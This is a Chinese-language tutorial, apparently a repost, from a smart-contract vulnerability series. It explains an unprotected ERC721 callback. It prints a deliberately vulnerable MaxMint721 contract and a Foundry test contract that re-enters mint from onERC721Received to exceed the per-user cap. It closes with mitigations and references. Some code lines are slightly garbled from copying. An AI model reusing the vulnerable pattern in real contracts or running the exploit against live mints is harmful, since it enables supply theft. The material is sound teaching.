智能合约漏洞入门(9)未保护的回调

 

描述:合约 ContractTest 利用回调功能绕过了 MaxMint721 合约设置的最大铸造限制。实现这一点的方法是触发 onERC721Received 函数,该函数内部再次调用了 mint 函数。因此,尽管 MaxMint721 试图限制用户可以铸造的代币数量为 MAX_PER_USER,ContractTest 合约仍然成功地铸造了超过该限制的代币。

场景:这个练习涉及一个通过回调函数铸造更多 NFT 的合约。

缓解措施:遵循检查-效果-交互模式并使用 OpenZeppelin Reentrancy Guard。

参考:

https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a

https://www.paradigm.xyz/2021/08/the-dangers-of-surprising-code

MaxMint721 合约:

contract MaxMint721 is ERC721Enumerable {
    uint256 public MAX_PER_USER = 10;

    constructor() ERC721("ERC721", "ERC721") {}

    function mint(uint256 amountexternal {
        require(
            balanceOf(msg.sender) + amount <= MAX_PER_USER,
            "exceed max per user"
        );
        for (uint256 i = 0; i < amount; i++) {
            uint256 mintIndex = totalSupply();
            _safeMint(msg.sender, mintIndex);
        }
    }
}

如何测试:

forge test –contracts src/test/Unprotected-callback.sol -vvvv

// 公共函数,用于测试新代币的铸造
    function testSafeMint(public {
        // 创建一个新的 MaxMint721 合约实例
        MaxMint721Contract = new MaxMint721();
        
        // 尝试铸造 maxMints 数量的新代币。如果 mint 函数是按标准方式实现的,这应该会铸造 maxMints 数量的新代币。
        MaxMint721Contract.mint(maxMints);
        
        // 控制台日志表明发生了一个漏洞,允许铸造 19 个 NFT
        console.log("Bypassed maxMints, we got 19 NFTs");
        
        // 代码断言确实铸造了 19 个 NFT
        assertEq(MaxMint721Contract.balanceOf(address(this)), 19);
        
        // 输出该合约铸造的 NFT 数量
        console.log("NFT minted:", MaxMint721Contract.balanceOf(address(this)));
    }

    // 此函数是 ERC721Receiver 接口的标准实现,允许此合约接收来自其他合约的 ERC721 代币。在这种情况下,它用于执行铸造漏洞
    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    
public returns (bytes4
{
        
        // 检查此函数是否是首次调用
        if (!complete) {
            // 标记此函数已被调用
            complete = true;
            
            // 铸造 (maxMints - 1) 数量的新代币
            MaxMint721Contract.mint(maxMints - 1);
            
            // 输出请求铸造的代币数量
            console.log("Called with :", maxMints - 1);
        }
        
        // 这是成功接收 ERC721 代币的标准返回值
        return this.onERC721Received.selector;
    }

红框: 绕过 maxMint智能合约漏洞入门(9)未保护的回调


原文始发于微信公众号(3072):智能合约漏洞入门(9)未保护的回调

版权声明:admin 发表于 2024年7月22日 上午11:00。
转载请注明:智能合约漏洞入门(9)未保护的回调 | CTF导航

相关文章